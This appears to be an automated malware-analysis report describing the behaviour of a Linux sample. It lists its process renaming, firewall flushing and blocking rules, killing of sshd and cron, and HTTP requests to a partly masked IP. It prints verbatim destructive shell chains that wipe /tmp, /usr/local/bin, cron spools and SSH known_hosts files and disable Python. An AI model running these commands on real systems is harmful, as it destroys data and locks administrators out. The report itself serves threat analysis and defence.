Technical Information
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- -1
- tomffe
- 69
- dfvd
- * **
Modifies firewall settings:
- iptables -F
- iptables -I INPUT -s 45.141.84.0/22 -j DROP
- iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string systemten.org -j DROP
- iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string lsd.systemten.org -j DROP
Launches processes:
- sh -c crontab -r ; rm -rf /tmp/.* ; rm -rf /tmp/* ; crontab -r ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /var/spool/*/*/* ; rm -rf /var/spool/cro*/cront*/* ; rm -rf /home/*/.ba* ; >/dev/null 2>&1
- crontab -r
- sh -c crontab -r ; rm -rf /usr/local/bin/* ; rm -rf /usr/local/sbin/* ; chattr -ia /usr/local/bin/.cach* ; rm -rf /usr/local/bin/.ca* ; chattr -ia /usr/local/bin/.* ; rm -rf /usr/local/bin/.* ; rm -rf /usr/sbin/crond ; chmod 000 /usr/bin/py* ; rm -rf /home/*/.ss*/.kn* ; rm -rf /root/.ss*/.kn* ; rm -rf /var/spool/cr*/* ; rm -rf /etc/cron.*/* ; rm -rf /var/spool/anacro*/*/* ; rm -rf /root/.ba* ; rm -rf /lib64/liblzma* ; rm -rf /lib64/libaio* ; rm -rf /usr/sbin/rpcio* ; rm -rf /usr/sbin/config.* ; rm -rf /usr/local/bin*/* ; >/dev/null 2>&1
- sh -c iptables -F ; iptables-save ; >/dev/null 2>&1
- sh -c iptables -I INPUT -s 45.141.84.0/22 -j DROP ; iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string 'systemten.org' -j DROP ; iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string 'lsd.systemten.org' -j DROP ; iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string 'tor2web.su' -j DROP ; iptables -A FORWARD -p udp --dport 53 -m string --algo kmp --string 'tor2web.io' -j DROP ; iptables -A FORWARD -p udp --dport 53 -m string --algo kmp --string 'onion.sh' -j DROP ; iptables -I OUTPUT -p tcp -d pastebin.com -j DROP ; iptables -A INPUT -p tcp -s pastebin.com -j DROP ; iptables -A INPUT -p tcp --dport 443 -j DROP ; iptables -A OUTPUT -p tcp --dport 8080 -j DROP ; iptables -A OUTPUT -p tcp --dport 443 -j DROP ; iptables-save ; >/dev/null 2>&1
- rm -rf /usr/local/bin/*
- rm -rf /usr/local/sbin/*
- chattr -ia /usr/local/bin/.cach*
- rm -rf /usr/local/bin/.ca*
- sh -c /root/sirnhh
- /root/sirnhh
- sh -c rm -rf /tmp/.* ; rm -rf /tmp/* ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /etc/rc.d/init.d/kworker* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /var/spool/*/*/* ; >/dev/null 2>&1
- rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix
- sh -c /root/fhwxok escf
- /root/fhwxok escf
- sh -c /root/nhfd
- /root/nhfd
Kills system processes:
- sshd
Kills the following processes:
- run.sh
- bash
- systemd
- <SAMPLE>
- /bin/sh
- cron
- /sbin/iptables
- /bin/rm
- (sd-pam)
- /root/fhwxok
- /root/nhfd
Performs operations with the file system:
Modifies file access rights:
- /usr/bin/wget
- /dev/urandom
- /usr/bin/perl
- /usr/bin/python3.4
- /usr/bin/python2.7
- /usr/bin/mawk
- /usr/bin/xargs
- /bin/sed
- /usr/bin/crontab
- /root/sirnhh
- /etc/ld.so.cache
- /usr/local/bin
- /var/spool/cron
- /root/fhwxok
- /root/nhfd
Deletes folders:
- /usr/local/sbin/
- /var/spool/cron/atjobs
- /var/spool/cron/atspool
- /usr/local/bin/
- /var/spool/cron/crontabs
- /var/spool/cron/
Creates or modifies files:
- /root/sirnhh
- /root/fhwxok
- /root/c
- /root/nhfd
Deletes files:
- /usr/local/bin/*
- /usr/local/sbin/*
- /usr/local/bin/.ca*
- /usr/bin/perl
- /etc/ld.so.cache
- /root/fhwxok
- /root/c
Network activity:
Establishes connection:
- 14#.#8.34.25:80
HTTP GET requests:
- 14#.##.34.25/c/cf
- 14#.##.34.25/c/cdc
- 14#.##.34.25/c/coooc
